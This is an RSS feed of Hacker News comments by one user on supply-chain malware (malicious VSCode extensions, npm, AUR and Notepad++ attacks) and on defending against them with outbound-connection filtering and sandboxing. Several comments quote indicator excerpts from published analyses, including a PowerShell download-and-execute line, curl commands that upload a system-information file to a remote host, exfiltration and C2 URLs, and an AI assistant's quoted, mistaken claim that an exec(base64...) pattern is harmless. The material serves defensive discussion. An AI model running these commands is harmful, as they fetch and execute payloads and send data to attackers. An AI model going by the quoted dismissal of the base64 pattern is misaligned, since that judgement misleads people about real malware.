<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: gus_</title><link>https://news.ycombinator.com/user?id=gus_</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Mon, 31 Aug 2026 12:18:23 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=gus_" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by gus_ in "I Inspected My Take-Home Interview Project. It Was a Whole Operation"]]></title><description><![CDATA[
<p>1. restrict outbound connections by binary.<p>2. restrict outbound connections to known malicious IPs or domains.<p>3. run untrusted code/apps:<p><pre><code>   - under a different user
   - or inside a sandbox
   - or in a VM
</code></pre>
4. remove exec permissions to temporary directories (/tmp, /var/tmp, /dev/shm)</p>
]]></description><pubDate>Thu, 23 Jul 2026 07:56:06 +0000</pubDate><link>https://news.ycombinator.com/item?id=49018233</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=49018233</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=49018233</guid></item><item><title><![CDATA[New comment by gus_ in "Spain Orders Blacklist of Palantir from Public and Private Companies"]]></title><description><![CDATA[
<p>Unfortunately this order will probably be revoked in 2027/2028, we'll see.</p>
]]></description><pubDate>Thu, 02 Jul 2026 18:37:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=48765629</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48765629</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48765629</guid></item><item><title><![CDATA[New comment by gus_ in "AURpocalypse now: a look at the recent AUR attacks"]]></title><description><![CDATA[
<p>Also bear in mind, that many rootkits hide processes and connections from command line tools like ps, top, lsof, netstat, ss, etc...<p>In this particular malware campaign, the malware contained a rootkit which hid precisely some of its activity:<p><a href="https://github.com/gustavo-iniguez-goya/decloaker/discussions/4" rel="nofollow">https://github.com/gustavo-iniguez-goya/decloaker/discussion...</a></p>
]]></description><pubDate>Sat, 20 Jun 2026 21:03:00 +0000</pubDate><link>https://news.ycombinator.com/item?id=48612969</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48612969</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48612969</guid></item><item><title><![CDATA[New comment by gus_ in "AURpocalypse now: a look at the recent AUR attacks"]]></title><description><![CDATA[
<p>indeed OpenSnitch helps, pihole I'm not so sure (maybe if the c2c servers are in a blocklist...):<p><a href="https://www.reddit.com/r/linux_gaming/comments/1u34pe3/comment/or3og8f/" rel="nofollow">https://www.reddit.com/r/linux_gaming/comments/1u34pe3/comme...</a></p>
]]></description><pubDate>Sat, 20 Jun 2026 16:42:41 +0000</pubDate><link>https://news.ycombinator.com/item?id=48610631</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48610631</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48610631</guid></item><item><title><![CDATA[New comment by gus_ in "I found 10k GitHub repositories distributing Trojan malware"]]></title><description><![CDATA[
<p>A year ago a similar attack was reported and I think that there have been similar campaigns reported this year: <a href="https://github.com/evilsocket/opensnitch/discussions/1290#discussioncomment-12727457" rel="nofollow">https://github.com/evilsocket/opensnitch/discussions/1290#di...</a><p><pre><code>  - This is a new repository, not a fork
  - All repositories have different contributors and different names
  From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.
</code></pre>
In previous campaigns the repositories were linked to a few users. But those users had starred other users, that at the same time had also cloned other repositories with the malware. Sometimes the malicious repository had been cloned from another malicious repo, and if you listed the repositories and "friends" of that user, all were part of the botnet.<p>Also, github doesn't delete repositories and accounts, they mark them as deleted. If you use their api you can still list them.</p>
]]></description><pubDate>Thu, 18 Jun 2026 15:29:29 +0000</pubDate><link>https://news.ycombinator.com/item?id=48586915</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48586915</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48586915</guid></item><item><title><![CDATA[New comment by gus_ in "AUR packages compromised with Infostealer and Rootkit"]]></title><description><![CDATA[
<p><a href="https://ioctl.fail/preliminary-analysis-of-aur-malware/" rel="nofollow">https://ioctl.fail/preliminary-analysis-of-aur-malware/</a><p><a href="https://markdownpastebin.com/?id=d2a04939f1d7461ea0d36e438a49538c" rel="nofollow">https://markdownpastebin.com/?id=d2a04939f1d7461ea0d36e438a4...</a></p>
]]></description><pubDate>Fri, 12 Jun 2026 16:19:54 +0000</pubDate><link>https://news.ycombinator.com/item?id=48506037</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48506037</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48506037</guid></item><item><title><![CDATA[New comment by gus_ in "Malicious npm packages detected across Red Hat Cloud Services"]]></title><description><![CDATA[
<p><a href="https://www.reddit.com/r/neovim/comments/1j45stl/someone_wrote_malicious_code_in_the_neovim_plugin/" rel="nofollow">https://www.reddit.com/r/neovim/comments/1j45stl/someone_wro...</a></p>
]]></description><pubDate>Mon, 01 Jun 2026 19:53:44 +0000</pubDate><link>https://news.ycombinator.com/item?id=48361763</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48361763</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48361763</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p>restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.<p>Take for example this activity from a malicious extension:<p><pre><code>  This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.

  powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
  This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. 
</code></pre>
<a href="https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/" rel="nofollow">https://securitylabs.datadoghq.com/articles/mut-9332-malicio...</a><p>Or this one:<p><pre><code>  const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  function fetchConfigAndRun() {
     http.get(CONFIG_URL, (res)
</code></pre>
they also establishes outbound connections to dropbox and other not expected domains:<p><a href="https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware" rel="nofollow">https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...</a><p>so maybe it's not bulletproof, but it helps to mitigate these threats.</p>
]]></description><pubDate>Thu, 21 May 2026 10:47:23 +0000</pubDate><link>https://news.ycombinator.com/item?id=48220522</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48220522</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48220522</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p><a href="https://www.reddit.com/r/neovim/comments/1j45stl/someone_wrote_malicious_code_in_the_neovim_plugin/" rel="nofollow">https://www.reddit.com/r/neovim/comments/1j45stl/someone_wro...</a></p>
]]></description><pubDate>Thu, 21 May 2026 10:23:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=48220343</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48220343</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48220343</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p><a href="https://www.reddit.com/r/neovim/comments/1j45stl/someone_wrote_malicious_code_in_the_neovim_plugin/" rel="nofollow">https://www.reddit.com/r/neovim/comments/1j45stl/someone_wro...</a></p>
]]></description><pubDate>Thu, 21 May 2026 09:18:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=48219896</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48219896</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48219896</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p>the pop-ups fatigue is already an issue, and not an easy one to solve. Pretty much like SIEM/SOC alerts.<p>> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".<p>They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.<p>Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:<p><a href="https://github.com/evilsocket/opensnitch/discussions/1119" rel="nofollow">https://github.com/evilsocket/opensnitch/discussions/1119</a><p>Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:<p><a href="https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250f0629" rel="nofollow">https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...</a></p>
]]></description><pubDate>Wed, 20 May 2026 13:33:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=48207490</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48207490</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48207490</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p>> It's trivial to do this in a way to avoid detection<p>I'd love to see a real example/PoC.<p>Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.<p>Why does VS need to establish outbound requests to any domain, without authorization?<p>There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.<p>> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.<p>Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project.
Again, it's not bulletproof, but helps.</p>
]]></description><pubDate>Wed, 20 May 2026 10:19:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=48205516</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48205516</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48205516</guid></item><item><title><![CDATA[New comment by gus_ in "Mini Shai-Hulud Strikes Again: 314 npm Packages Compromised"]]></title><description><![CDATA[
<p>absolutely. These attacks will evolve for sure, like the malware evolved on Microslop for years.<p>But for the time being, the common entry vector is clear:<p><a href="https://github.com/evilsocket/opensnitch/discussions/1119" rel="nofollow">https://github.com/evilsocket/opensnitch/discussions/1119</a><p>> 2) trigger a tab open to attacker's website<p>be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.</p>
]]></description><pubDate>Wed, 20 May 2026 09:04:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=48204989</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48204989</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48204989</guid></item><item><title><![CDATA[New comment by gus_ in "GitHub confirms breach of 3,800 repos via malicious VSCode extension"]]></title><description><![CDATA[
<p>so how did they exfiltrate the information without noticing? what OS was the developer using? what security measures were they using?<p>yesterday discussion
<a href="https://news.ycombinator.com/item?id=48191680">https://news.ycombinator.com/item?id=48191680</a></p>
]]></description><pubDate>Wed, 20 May 2026 08:04:16 +0000</pubDate><link>https://news.ycombinator.com/item?id=48204565</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48204565</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48204565</guid></item><item><title><![CDATA[New comment by gus_ in "Mini Shai-Hulud Strikes Again: 314 npm Packages Compromised"]]></title><description><![CDATA[
<p>btw, this analysis of a node linux malware with OpenSnitch and other tools was published on reddit a year ago (a malicious linkedin interview targeting web3/crypto devs that resulted in  a system compromise):<p><a href="https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250f0629" rel="nofollow">https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...</a></p>
]]></description><pubDate>Tue, 19 May 2026 19:03:28 +0000</pubDate><link>https://news.ycombinator.com/item?id=48197821</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48197821</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48197821</guid></item><item><title><![CDATA[New comment by gus_ in "Mini Shai-Hulud Strikes Again: 314 npm Packages Compromised"]]></title><description><![CDATA[
<p>Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me.<p>In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.<p>> preinstall script: bun run index.js<p>> Dual exfiltration:
> stolen data is committed as Git objects to public GitHub repositories (api.github.com)
> and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)<p>> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL <a href="https://bun.sh/install" rel="nofollow">https://bun.sh/install</a> | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability<p>> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL<p>This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.</p>
]]></description><pubDate>Tue, 19 May 2026 13:50:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=48193302</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=48193302</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48193302</guid></item><item><title><![CDATA[New comment by gus_ in "France to ditch Windows for Linux to reduce reliance on US tech"]]></title><description><![CDATA[
<p><a href="https://itsfoss.com/munich-linux-failure/" rel="nofollow">https://itsfoss.com/munich-linux-failure/</a><p>It doesn't matter if this or that doesn't work. Or if Microslop pressures to continue using Winslop.<p>Now the reasons are geopolitical.</p>
]]></description><pubDate>Fri, 10 Apr 2026 16:58:24 +0000</pubDate><link>https://news.ycombinator.com/item?id=47720891</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=47720891</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47720891</guid></item><item><title><![CDATA[New comment by gus_ in "LittleSnitch for Linux"]]></title><description><![CDATA[
<p>OpenSnitch (+ block lists) ;)<p>or DNS stubs with filtering capabilities.</p>
]]></description><pubDate>Thu, 09 Apr 2026 07:48:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=47700504</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=47700504</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47700504</guid></item><item><title><![CDATA[New comment by gus_ in "My minute-by-minute response to the LiteLLM malware attack"]]></title><description><![CDATA[
<p>In this case, this has nothing to do with reverse engineering, it's basic system administration.<p>See how the AI points you in the "right" direction:<p><pre><code>  What likely happened:
  The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues.
</code></pre>
Any base64 string passed to python via cmdline should be considered as HIGHLY suspicious, by default. Or anything executed from /tmp, /var/tmp, /dev/shm.<p><pre><code>  Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA
</code></pre>
if @op would have had Lulu or LittleSnitch installed, they would probably have noticed (and blocked) suspicious outbound connections from unexpected binaries.<p>Having said this, uploading a binary to Claude for analysis is a different story.</p>
]]></description><pubDate>Thu, 26 Mar 2026 19:17:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=47534477</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=47534477</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47534477</guid></item><item><title><![CDATA[New comment by gus_ in "Notepad++ supply chain attack breakdown"]]></title><description><![CDATA[
<p>running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.<p><pre><code>    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202
</code></pre>
--<p><pre><code>    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.</code></pre>
--<p><pre><code>    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin</code></pre></p>
]]></description><pubDate>Wed, 04 Feb 2026 10:02:51 +0000</pubDate><link>https://news.ycombinator.com/item?id=46883835</link><dc:creator>gus_</dc:creator><comments>https://news.ycombinator.com/item?id=46883835</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46883835</guid></item></channel></rss>